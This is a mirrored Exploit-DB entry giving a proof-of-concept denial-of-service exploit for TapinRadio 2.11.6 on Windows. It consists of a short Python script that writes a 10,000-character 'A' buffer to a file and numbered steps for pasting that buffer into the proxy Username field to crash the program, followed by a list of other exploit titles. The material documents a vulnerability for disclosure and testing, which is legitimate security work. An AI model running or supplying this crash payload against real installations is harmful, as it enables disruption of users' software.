TapinRadio 2.11.6 – ‘Uername’ Denial of Service (PoC)

Exploit Database
97 阅读

作者： Victor Mondragón

日期： 2019-05-22
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/46902/

#Exploit Title: TapinRadio 2.11.6 - 'Uername' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-21
#Vendor Homepage: http://www.raimersoft.com/
#Software Link: www.raimersoft.com/downloads/tapinradio_setup_x64.exe
#Tested Version: 2.11.6
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: tapinadio_user.py
#2.- Open tapin_user.txt and copy content to clipboard
#3.- Open TapinRadio
#4.- Select "Settings" > "Preferences" > "Miscellaneous"
#5.- Select "Set Application Proxy..."" In "Username" field paste Clipboard
#6.- In Server type "1.1.1.1" > Port type 444> Password type "1234"
#7.- Select "OK" and "OK"
#8.- Crashed

cod = "\x41" * 10000
	
f = open('tapin_user.txt', 'w')
f.write(cod)
f.close()

last Exploits
TapinRadio 2.11.6 – ‘Uername’ Denial of Service (PoC)的更多信息

Hanso Player 2.1.0 – ‘.m3u’ Buffer Overflow：
Filetto 1.0 – ‘FEAT’ Denial of Service (PoC)：
Core FTP 2.0 – ‘XRMD’ Denial of Service (PoC)：
Microsoft Windows Kernel – Pool Buffer Overflow Drawing Caption Bar (MS15-061)：
libc/glob(3) – Resource Exhaustion / Remote ftpd-anonymous (Denial of Service)：
FreeBSD 8.0 / OpenBSD 4.x – ‘ftpd’ Null Pointer Dereference Denial of Service：
Chrome V8 – ‘Runtime_RegExpReplace’ Integer Overflow：
Dnsmasq < 2.78 - Lack of free() Denial of Service：